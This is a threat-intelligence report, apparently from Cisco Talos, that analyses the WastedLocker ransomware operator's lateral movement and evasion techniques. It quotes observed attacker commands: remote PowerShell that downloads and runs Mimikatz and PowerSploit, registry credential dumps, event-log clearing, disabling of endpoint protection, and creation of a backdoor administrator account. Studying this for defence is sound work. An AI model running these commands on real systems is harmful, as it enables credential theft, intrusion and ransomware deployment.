WastedLocker Goes "Big-Game Hunting" in 2020

By Edmund Brumaghin

Published: 2020-07-06 · Archived: 2026-04-05 16:17:07 UTC

By Ben Baker, Edmund Brumaghin, JJ Cummings and Arnaud Zobec.

Threat summary

- After initially compromising corporate networks, the attacker behind WastedLocker performs privilege escalation and lateral movement prior to activating ransomware and demanding ransom payment.
- The use of "dual-use" tools and "LoLBins" enables adversaries to evade detection and stay under the radar as they further operate towards their objectives in corporate environments.
- WastedLocker is one of the latest examples of adversaries' continued use of lateral movement and privilege escalation to maximize the damage caused by ransomware.
- The use of "big-game hunting" continues to cause significant operational and financial damages to organizations around the globe.

Background

Ransomware is a serious threat to organizations around the world. It is used to disrupt operations on computing systems so that attackers can extort victims and demand payment, typically in the form of cryptocurrency, to restore normal operations on infected systems. As the threat actors behind ransomware attacks have matured in their capabilities, they have refined their approach to generating revenue using this business model. One recent evolution has been the use of privilege escalation and lateral movement techniques prior to the activation of ransomware payloads within organizational environments.

By delivering and activating ransomware on many different systems within corporate networks simultaneously, attackers can maximize the damage they inflict. This often results in a situation where organizations may be more likely to pay a ransom demand than they otherwise would have been, had only a single endpoint been affected. In some cases organizational backup and recovery strategies may not have been adequately tested against situations in which a significant portion of their production environment is adversely affected at the same time, which may cause them to be more willing to pay a ransom demand. It also allows adversaries to increase the amount of the ransom they are demanding, often resulting in ransom demands for hundreds of thousands of dollars or more to recover infected systems. This approach is sometimes referred to as "big-game hunting."

Adversaries have used this approach more frequently over the past year. One of the most recent examples of this is with the emergence of a threat actor that is currently leveraging a ransomware family known as "WastedLocker."

The adversary behind these attacks is taking advantage of various "dual-use" toolsets like Cobalt Strike, Mimikatz, Empire, and PowerSploit to facilitate lateral movement across environments being targeted. These toolsets are typically developed to aid with penetration testing or red-teaming activities, but their use is often co-opted by malicious adversaries as well. Additionally, the use of native operating system functionality, and what are commonly referred to as "LoLBins" allows attackers to evade detection and operate under the radar until they are ready to activate the ransomware and make their presence known.

Technical details

Multiple reports have been published recently detailing activity associated with WastedLocker attacks. The focus of this post will be on dissecting the various phases of these attacks and describing the tactics, techniques, and procedures that Cisco Talos has observed the threat actor behind WastedLocker using within target environments for the purposes of maximizing their sphere of influence within the network and facilitating the activation of ransomware across the environment.

Initial access and compromise ATT&CK Technique: Drive-By Compromise (T1189)

As described in previous reporting, the initial compromise appears to be related to fake Google Chrome updates that are delivered to victims via drive-by download attacks when victims browse compromised websites. The initial malware is delivered to victims in the form of a ZIP archive that contains a malicious JavaScript file. The malicious JavaScript is then executed using wscript.exe to initiate the infection process.

```
C:\Windows\System32\WScript.exe C:\Users\<USERNAME>\AppData\Local\Temp\Temp1_Chrome.Update.b343b0.zip\Chrome.U
```

The threat actor also makes use of Cobalt Strike payloads to perform command execution, process injection, privilege escalation, and process impersonation on infected systems. It is also used to dump credentials on the system which may be used to authenticate to other systems on the compromised network to facilitate further lateral movement activities.

Execution ATT&CK Technique: PowerShell (T1086)
ATT&CK Technique: Service Execution (T1035)

PowerShell Execution Policy

The PowerShell execution policy was set to "RemoteSigned" which allows locally created PowerShell scripts to be executed without requiring them to be signed.

```
powershell /c Set-ExecutionPolicy RemoteSigned
```

Remote Command Execution
The PSExec utility established command execution on remote systems within the environment.

```
psexec -s \\<HOSTNAME>|<IP_ADDRESS> cmd
```

Lateral movement[ATT&CK Technique: Windows Management Instrumentation (T1047)](#) [ATT&CK Technique: Windows Admin Shares (T1077)](#)

Lateral movement is performed by leveraging the Windows Management Instrumentation (WMI) command line utility (wmic.exe) to facilitate command execution on remote systems. This functionality is used to download remotely hosted PowerShell scripts that can be passed to the Invoke-Expression (IEX) cmdlet and executed across the network. An example of this activity is below:

```
C:\Windows\System32\Wbem\WMIC.exe /node:<IP_ADDRESS> process call create cmd /c powershell -nop -exec bypass -c
```

The attacker leverages administrative shares within Windows, specifically the ADMIN$ share, to move data between systems across the compromised network.

Credential dumping [ATT&CK Technique: Credential Dumping (T1003)](#) [ATT&CK Technique: Credentials In Registry (T1214)](#)

In most domain environments, Windows credentials can be used to authenticate to various systems across the network. Malicious attackers often dump cached credentials on systems they successfully compromise so that they can be used to remotely authenticate to other systems within the same security boundary or domain. The attacker behind WastedLocker has been observed using multiple techniques for retrieving cached credentials on systems under their control.

Cisco Talos has observed this adversary leveraging Cobalt Strike to dump credentials using Procdump which is part of the SysInternals Suite from Microsoft.

Additionally, registry-based credential retrieval is performed by extracting the contents of the following registry locations using the "reg save" command.

```
reg save HKLM\SAM C:\programdata\SamBkup.hiv
```

```
reg save HKLM\SYSTEM C:\programdata\FileName.hiv
```

The adversary was also observed leveraging Mass-Mimikatz, a component of Empire that allows attackers to execute Mimikatz on multiple systems over the network. This is performed by using WMI to spawn the creation of a new PowerShell process. This PowerShell process is used to retrieve the MassMimikatz module from GitHub and pass it to IEX for execution along with parameters. The parameters are then used to facilitate the retrieval of credentials from remote systems.

```
C:\WINDOWS\SYSTEM32\WBEM\WMIC.exe /node:localhost process call create powershell /c IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent[.]com/PowerShellEmpire/PowerTools/master/PewPewPew/
COMPUTERNAME2'|Invoke-MassMimikatz -Verbose > c:/programdata/2.txt
```

Prior reporting has indicated that this adversary is no longer leveraging Empire, however Cisco Talos has observed continued use of components of this toolset in active attacks. While the original Empire project is no longer under active development, it has since been forked and development on the new project continues. In this case however, the attacker continues to leverage modules retrieved from the original project repositories.

As previously described the attacker has the capability of leveraging multiple techniques for retrieving credentials that may be reused on the network. In many cases this is the most effective and efficient way to move laterally and can often result in escalation of privileges within a domain environment if attackers can obtain privileged credentials like service accounts or those used for administrative purposes.

Discovery ATT&CK Technique: Account Discovery (T1087)
ATT&CK Technique: Process Discovery (T1057)
ATT&CK Technique: Remote System Discovery (T1018)
ATT&CK Technique: System Information Discovery (T1082)

After successfully compromising the environment, the adversary performed various activities on systems under their control to obtain further information about the system as well as the environment in which the system is located. This post-compromise discovery process allows attackers to identify how the environment is configured as well as additional targets for lateral movement as they continue to operate towards their longer-term objectives. It is important to note that the discovery and enumeration activities observed in this section were all performed via manual operator activities conducted on systems, not via scripting or other automated methods. In several cases, the attacker attempted to execute command line syntax containing typographical errors, followed immediately by corrections to the syntax and subsequent command execution. Some examples of various discovery and enumeration activities are outlined below.

Account and Privilege Enumeration

```
C:\Windows\System32\cmd.exe /C whoami /all >> C:\Users\<USERNAME>\AppData\Local\Temp\rad971D8.tmp
```

```
C:\WINDOWS\system32\net.exe user <USERNAME> /domain
```

```
C:\WINDOWS\system32\net1 user <USERNAME> /domain
```

```
C:\WINDOWS\system32\cmd.exe /C quser
```

```
C:\WINDOWS\system32\quser.exe /server:<IP_ADDRESS>
```

```
C:\Windows\system32\cmd.exe /C qwinsta
```

```
C:\WINDOWS\system32\qwinsta.exe /server:<IP_ADDRESS>
```

Group Membership Enumeration

```
C:\Windows\System32\cmd.exe /C net group domain admins /domain >> C:\Users\<USERNAME>\AppData\Local\Temp\rad65
```

System/Domain Trust Enumeration

```
C:\Windows\system32\cmd.exe /C nltest /dclist:<DOMAIN|IP_ADDRESS>
```

Local System Enumeration

```
C:\Windows\system32\cmd.exe /C systeminfo | findstr /B /C:OS Name /C:OS Version
```

```
powershell.exe (Get-WmiObject -Query 'SELECT Caption FROM Win32_OperatingSystem').Caption
```

```
wmic path win32_operatingsystem get caption
```

Local Service Enumeration

```
sc queryex type= service
```

```
C:\Windows\System32\cmd.exe /C net start >> C:\Users\<USERNAME>\AppData\Local\Temp\rad38FFC.tmp
```

```
C:\Windows\system32\net1 start
```

```
C:\Windows\system32\cmd.exe /C powershell Get-WmiObject win32_service -ComputerName localhost | Where-Object {$
```

```
powershell Get-WmiObject win32_service -ComputerName localhost
```

Network and Shared Folder Enumeration

```
C:\WINDOWS\system32\cmd.exe /C net use
```

```
C:\WINDOWS\system32\cmd.exe /C dir \\<IP_ADDRESS>\c$
```

```
C:\Windows\system32\cmd.exe /C dir \\<HOSTNAME>\c$\programdata
```

```
C:\WINDOWS\system32\cmd.exe /C ping -n 1 <HOSTNAME>
```

Network Connectivity/Egress Testing

```
C:\Windows\system32\cmd.exe /C ping -n 1 cofeedback[.]com
```

Defense Evasion ATT&CK Technique: Indicator Removal on Host (T1070)
ATT&CK Technique: Disabling Security Tools (T1089)
ATT&CK Technique: Compile After Delivery (T1500)
ATT&CK Technique: Trusted Developer Utilities (T1127)

The attacker leverages the msbuild.exe LoLBin — previously described by Cisco Talos here — to evade endpoint detection and execute the Cobalt Strike payloads. The following are examples of msbuild being used to execute these payloads.

```
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe","C:\\Programdata\\\\moveme.csproj"
```

```
C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe","C:\\Programdata\\\\m0v3m3.csproj
```

Following operator interaction with systems, the adversary used PsExec to invoke the "wevtutil.exe" utility. This utility cleared the contents of local security event logs on systems. Rather than selectively removing specific log entries and "timestomping" or manipulating the timestamps associated with the logs, the adversary simply cleared the entire contents of the log files. In addition to clearing log entries, the adversary was also observed disabling endpoint security software deployed on systems under their control. Some example of this is below:

Clearing Log Entries

```
PsExec.exe -s \\localhost cmd /c for /F tokens=* %1 in ('wevtutil.exe el') DO wevtutil.exe cl %1
```

Stopping & Disabling Endpoint Protection
Several attempts were made to disable security protections deployed on endpoint systems, including Symantec Endpoint Protection, Windows Defender, and Cisco AMP for Endpoints.

Attempted to Disable Symantec Endpoint Protection

```
C:\WINDOWS\system32\cmd.exe /c C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\
```

```
C:\Program Files (x86)\Symantec\Symantec Endpoint Protection\14.2.5323.2000.105\Bin\Smc.exe -disable -sep
```

Attempting to Disable Cisco AMP for Endpoints

```
C:\Windows\system32\taskkill.exe /F /IM sfc.exe
```

```
C:\Windows\system32\cmd.exe /C C:\Program Files\Cisco\AMP\7.2.7\sfc.exe -stop
```

Attempting to Disable Windows Defender Features

```
C:\Program Files\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All Set-MpPreference -DisableIOAVProtection
```

The adversary also frequently leveraged .NET runtime compilation when delivering payloads to additional systems within the compromised environment.

.NET Runtime Compilation

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 /OUT:C:\Users\<USERN
```

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /fullpaths @C:\Users\<USERNAME>\AppData\Local
```

Persistence ATT&CK Technique: Account Manipulation (T1098)

A common mechanism used by attackers to achieve a persistent ability to access systems within compromised environments is the creation of backdoor accounts that can be subsequently used by the attacker to access systems under their control following initial compromise. We observed the adversary attempting to establish local administrative accounts on systems that could be used for this purpose.

```
C:\WINDOWS\system32\cmd.exe /C net user Admim <PASSWORD> /ADD
```

```
C:\WINDOWS\system32\cmd.exe /C net localgroup Administrators Admim /ADD
```

Collection Activity ATT&CK Technique: Screen Capture (T1113)

WMI is also used to execute a PowerShell process on remote systems across the network. The Invoke-Expression (IEX) cmdlet retrieves the PowerSploit module "Get-TimedScreenshot" from its GitHub repository and executes it on the remote system to capture screenshots of the remote system every 30 seconds.

```
 C:\Windows\System32\Wbem\WMIC.exe /node:<REMOTE_IP> process call create powershell /c IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent[.]com/PowerShellMafia/PowerSploit/master/Ex
-Path c:\programdata\ -Interval 30
```

The collected screenshots are saved under the %PROGRAMDATA% directory on the remote system for later retrieval.

Conclusion

These tactics, techniques and procedures used by the threat actor behind WastedLocker demonstrate how these sorts of attacks are taking place across organizational environments. Organizations should be aware of how attackers are moving laterally, escalating privileges, and then using the elevated access to large portions of the environment to maximize the effectiveness of the ransomware payloads that they are deploying. It is not always enough to simply deploy perimeter security, organizations should also ensure that they have layered security to ensure that they prevent, detect and respond to malicious activity that may be conducted within the organization's network following attacks that are successful at compromising perimeter security defenses. Additionally, organizations should ensure that their backup and recovery strategies are tested against a variety of different scenarios that may disrupt business operations to ensure that they can recover even in situations where large percentages of systems or infrastructure are affected at the same time. Adversaries are constantly seeking to improve upon their strategies for achieving their mission objectives and we will likely continue to observe these refinements across the threat landscape.

Coverage

Ways our customers can detect and block this threat are listed below.

Product	Protection
AMP	✓
Cloudlock	N/A
CWS	✓
Email Security	N/A
Network Security	✓
Stealthwatch	N/A
Stealthwatch Cloud	N/A
Threat Grid	✓
Umbrella	✓
WSA	✓

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Exploit Prevention present within AMP is designed to protect customers from unknown attacks such as this automatically.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), Cisco ISR, and Meraki MX.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase onSnort.org.
